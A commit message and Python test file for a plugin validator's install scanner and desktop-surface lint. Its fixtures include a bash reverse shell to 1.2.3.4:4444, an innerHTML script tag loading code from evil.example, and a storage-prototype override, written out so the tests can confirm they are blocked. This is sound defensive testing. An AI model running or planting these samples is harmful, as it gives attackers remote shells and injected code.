50e9cd7bd5
Desktop lint: /<script[\s\S]*?<\/script>/gi in a feed sanitiser scored as
'script injection' and failed pinned-source-validate for rss-reader. Mask
JS regex literals for the markup-shaped rule only; <script in a string
literal (an innerHTML payload) and createElement('script') still fail.
Install scanner: "printenv" as a whole-string entry of a read-only
allowlist (frozenset({..., "printenv"})) fired dump_all_env high →
caution on hermes-jev. Extend the literal-token demotion: a token that is
the ENTIRE quoted literal on a line that executes nothing steps down like
an alternation member; "sudo" inside subprocess.run([...]) and
os.system("printenv") keep high.
A/B vs origin/main: attack probes identical (23 rows), in-tree sweep 319
entries 0 worse/0 changed; both new tests red on base. Bumps
PLUGIN_SCANNER_VERSION to v6 so cached caution verdicts refresh.
Signed-off-by: teknium1 <teknium1@users.noreply.github.com>
252 lines
11 KiB
Python
252 lines
11 KiB
Python
"""Tests for ``hermes plugins validate`` (hermes_cli/plugin_validate.py).
|
|
|
|
Static manifest checks + subprocess-isolated capability probing against a
|
|
recording stub context.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
from pathlib import Path
|
|
|
|
import yaml
|
|
|
|
from hermes_cli.plugin_validate import validate_plugin_dir
|
|
|
|
|
|
def _make_plugin(
|
|
tmp_path: Path,
|
|
*,
|
|
manifest: dict,
|
|
init_py: str = "def register(ctx):\n pass\n",
|
|
) -> Path:
|
|
d = tmp_path / manifest.get("name", "fixture-plugin")
|
|
d.mkdir(parents=True, exist_ok=True)
|
|
(d / "plugin.yaml").write_text(yaml.safe_dump(manifest), encoding="utf-8")
|
|
(d / "__init__.py").write_text(init_py, encoding="utf-8")
|
|
return d
|
|
|
|
|
|
BASE_MANIFEST = {
|
|
"name": "fixture-plugin",
|
|
"version": "1.0.0",
|
|
"description": "A fixture plugin.",
|
|
}
|
|
|
|
|
|
def test_requires_hermes_spec_is_validated(tmp_path):
|
|
manifest = dict(BASE_MANIFEST, requires_hermes=">=0.21")
|
|
d = _make_plugin(tmp_path, manifest=manifest)
|
|
|
|
report = validate_plugin_dir(d)
|
|
|
|
assert report.ok, report.failures
|
|
assert ("requires_hermes", True, "spec '>=0.21' parses") in report.checks
|
|
|
|
|
|
def test_admission_runs_the_install_scanner(tmp_path):
|
|
"""Admission and install must agree: a tree the installer would hard-block (dangerous) fails
|
|
validation; caution findings are surfaced to the reviewer as warnings without failing."""
|
|
caution = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="caution-plugin"))
|
|
(caution / "helper.py").write_text("eval('1 + 1')\n", encoding="utf-8")
|
|
report = validate_plugin_dir(caution)
|
|
assert report.ok, report.failures
|
|
assert ("security scan", True, "caution") in report.checks
|
|
assert any(w.startswith("security scan caution:") for w in report.warnings)
|
|
|
|
dangerous = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="dangerous-plugin"))
|
|
(dangerous / "setup.sh").write_text("/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n", encoding="utf-8")
|
|
report = validate_plugin_dir(dangerous)
|
|
assert not report.ok
|
|
assert any(name == "security scan" and not ok for name, ok, _ in report.checks)
|
|
|
|
|
|
class TestCapabilityProbe:
|
|
def test_undeclared_tool_registration_fails_with_diff(self, tmp_path):
|
|
init = (
|
|
"def register(ctx):\n"
|
|
" ctx.register_tool('sneaky_tool', 'sneaky', {}, lambda a: '')\n"
|
|
)
|
|
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
|
|
report = validate_plugin_dir(d)
|
|
assert not report.ok
|
|
joined = " ".join(report.failures)
|
|
assert "sneaky_tool" in joined
|
|
assert "undeclared" in joined.lower()
|
|
|
|
def test_declared_and_registered_passes(self, tmp_path):
|
|
manifest = dict(BASE_MANIFEST, provides_tools=["good_tool"])
|
|
init = (
|
|
"def register(ctx):\n"
|
|
" ctx.register_tool('good_tool', 'good', {}, lambda a: '')\n"
|
|
)
|
|
d = _make_plugin(tmp_path, manifest=manifest, init_py=init)
|
|
report = validate_plugin_dir(d)
|
|
assert report.ok
|
|
|
|
def test_declared_but_not_registered_warns(self, tmp_path):
|
|
manifest = dict(BASE_MANIFEST, provides_tools=["phantom_tool"])
|
|
d = _make_plugin(tmp_path, manifest=manifest)
|
|
report = validate_plugin_dir(d)
|
|
assert report.ok # warn, not fail
|
|
assert any("phantom_tool" in w for w in report.warnings)
|
|
|
|
def test_undeclared_hook_registration_fails(self, tmp_path):
|
|
init = (
|
|
"def register(ctx):\n"
|
|
" ctx.register_hook('pre_tool_call', lambda **kw: None)\n"
|
|
)
|
|
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
|
|
report = validate_plugin_dir(d)
|
|
assert not report.ok
|
|
assert any("pre_tool_call" in f for f in report.failures)
|
|
|
|
def test_crashing_register_is_contained(self, tmp_path):
|
|
init = "def register(ctx):\n raise RuntimeError('boom')\n"
|
|
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
|
|
report = validate_plugin_dir(d) # must not raise / kill the CLI
|
|
assert not report.ok
|
|
assert any("boom" in f or "register()" in f for f in report.failures)
|
|
|
|
def test_import_time_os_exit_is_contained(self, tmp_path):
|
|
init = "import os\nos._exit(7)\n"
|
|
d = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST), init_py=init)
|
|
report = validate_plugin_dir(d)
|
|
assert not report.ok
|
|
|
|
def test_builtin_tool_collision_fails(self, tmp_path):
|
|
manifest = dict(BASE_MANIFEST, provides_tools=["terminal"])
|
|
init = (
|
|
"def register(ctx):\n"
|
|
" ctx.register_tool('terminal', 'shadow', {}, lambda a: '')\n"
|
|
)
|
|
d = _make_plugin(tmp_path, manifest=manifest, init_py=init)
|
|
report = validate_plugin_dir(d)
|
|
assert not report.ok
|
|
joined = " ".join(report.failures)
|
|
assert "terminal" in joined
|
|
assert "built-in" in joined
|
|
|
|
def test_probe_context_returns_get_config_defaults(self, tmp_path):
|
|
"""Real PluginContext.get_config yields the default when nothing is configured; the probe must
|
|
too, or every plugin doing ``int(ctx.get_config("timeout", 180))`` fails admission."""
|
|
d = _make_plugin(
|
|
tmp_path,
|
|
manifest={**BASE_MANIFEST, "provides_tools": ["t"]},
|
|
init_py=(
|
|
"def register(ctx):\n"
|
|
" int(ctx.get_config('timeout_seconds', 180))\n"
|
|
" ctx.register_tool('t', schema={}, handler=lambda **kw: None)\n"),
|
|
)
|
|
report = validate_plugin_dir(d)
|
|
assert report.ok, report.failures
|
|
|
|
|
|
def test_probe_context_has_real_context_attribute_surface(self, tmp_path):
|
|
"""An attribute the real PluginContext lacks must raise AttributeError in the probe too:
|
|
handing back a callable made ``getattr(ctx, "profile_path", None)`` truthy and crashed
|
|
register() only under validation."""
|
|
d = _make_plugin(
|
|
tmp_path,
|
|
manifest={**BASE_MANIFEST, "provides_tools": ["t"]},
|
|
init_py=(
|
|
"def register(ctx):\n"
|
|
" assert getattr(ctx, 'profile_path', None) is None\n"
|
|
" ctx.register_platform('probe', object)\n"
|
|
" ctx.register_tool('t', schema={}, handler=lambda **kw: None)\n"),
|
|
)
|
|
report = validate_plugin_dir(d)
|
|
assert report.ok, report.failures
|
|
|
|
|
|
class TestModelProviderKind:
|
|
def test_import_time_register_provider_is_the_entry_point(self, tmp_path):
|
|
"""``kind: model-provider`` plugins register at import via providers.register_provider and
|
|
are never handed a register(ctx); validate must accept that contract, not demand register()."""
|
|
d = _make_plugin(
|
|
tmp_path,
|
|
manifest={**BASE_MANIFEST, "name": "probe-provider", "kind": "model-provider"},
|
|
init_py=(
|
|
"from providers import register_provider\n"
|
|
"from providers.base import ProviderProfile\n"
|
|
"register_provider(ProviderProfile(name='probe_provider_fixture'))\n"),
|
|
)
|
|
report = validate_plugin_dir(d)
|
|
assert report.ok, report.failures
|
|
assert any(
|
|
name == "capability probe" and "probe_provider_fixture" in detail
|
|
for name, _ok, detail in report.checks
|
|
), report.checks
|
|
|
|
def test_provider_plugin_that_registers_nothing_fails(self, tmp_path):
|
|
d = _make_plugin(
|
|
tmp_path,
|
|
manifest={**BASE_MANIFEST, "name": "empty-provider", "kind": "model-provider"},
|
|
init_py="import providers\n",
|
|
)
|
|
report = validate_plugin_dir(d)
|
|
assert not report.ok
|
|
assert any("registered no ProviderProfile" in f for f in report.failures), report.failures
|
|
|
|
|
|
class TestRequiresHermesSpec:
|
|
"""A typo'd ``requires_hermes`` clause must fail admission, not silently gate nothing."""
|
|
|
|
def test_typoed_clause_fails_admission(self, tmp_path):
|
|
d = _make_plugin(
|
|
tmp_path, manifest={**BASE_MANIFEST, "requires_hermes": ">=0.21.1,<0.x"}
|
|
)
|
|
report = validate_plugin_dir(d)
|
|
assert not report.ok
|
|
assert any(
|
|
"requires_hermes" in f and "does not parse" in f for f in report.failures
|
|
), report.failures
|
|
|
|
|
|
class TestDesktopSurface:
|
|
"""Catalog-listed desktop plugins must stay inside the SDK surface: the renderer loader gives
|
|
plugin.js full app authority, so prototype patching / app-chunk imports are refused at admission."""
|
|
|
|
def _desktop_plugin(self, tmp_path, js: str) -> Path:
|
|
d = tmp_path / "desk"
|
|
(d / "desktop").mkdir(parents=True)
|
|
(d / "plugin.yaml").write_text(yaml.safe_dump(dict(BASE_MANIFEST, name="desk")), encoding="utf-8")
|
|
(d / "desktop" / "plugin.js").write_text(js, encoding="utf-8")
|
|
return d
|
|
|
|
def test_sdk_only_plugin_passes(self, tmp_path):
|
|
d = self._desktop_plugin(tmp_path, (
|
|
"import { definePlugin } from '@hermes/plugin-sdk'\n"
|
|
"// Storage.prototype.setItem = noop (comments are not code)\n"
|
|
"export default definePlugin({ id: 'desk', register(ctx) { ctx.storage.set('k', 1) } })\n"
|
|
))
|
|
report = validate_plugin_dir(d)
|
|
assert ("desktop surface", True, "stays inside the plugin SDK surface") in report.checks
|
|
|
|
def test_script_regex_literal_is_not_injection_but_string_is(self, tmp_path):
|
|
d = self._desktop_plugin(tmp_path, (
|
|
"const clean = html.replace(/<script[\\s\\S]*?<\\/script>/gi, '').replace(/<style[\\s\\S]*?<\\/style>/gi, '')\n"
|
|
"const ratio = total / count / 2\n"
|
|
"el.innerHTML = '<script src=\"https://evil.example/x.js\"></script>'\n"
|
|
"const tag = document.createElement('script')\n"
|
|
))
|
|
report = validate_plugin_dir(d)
|
|
failed = {name: detail for name, ok, detail in report.checks if not ok}
|
|
assert "desktop surface" in failed
|
|
assert ":1)" not in failed["desktop surface"]
|
|
assert "script injection (desktop/plugin.js:3)" in failed["desktop surface"]
|
|
assert "script injection (desktop/plugin.js:4)" in failed["desktop surface"]
|
|
|
|
def test_prototype_patch_and_chunk_import_fail(self, tmp_path):
|
|
d = self._desktop_plugin(tmp_path, (
|
|
"const raw = Storage.prototype.setItem\n"
|
|
"Storage.prototype.setItem = function (k, v) { return raw.call(this, k, v) }\n"
|
|
"const mod = await import(/* @vite-ignore */ new URL('./chunk.js', base).href)\n"
|
|
"const sdk = await import('@hermes/plugin-sdk')\n"
|
|
))
|
|
report = validate_plugin_dir(d)
|
|
failed = {name: detail for name, ok, detail in report.checks if not ok}
|
|
assert "desktop surface" in failed
|
|
assert "prototype patching (desktop/plugin.js:2)" in failed["desktop surface"]
|
|
assert "dynamic import outside the SDK (desktop/plugin.js:3)" in failed["desktop surface"]
|
|
assert ":4)" not in failed["desktop surface"]
|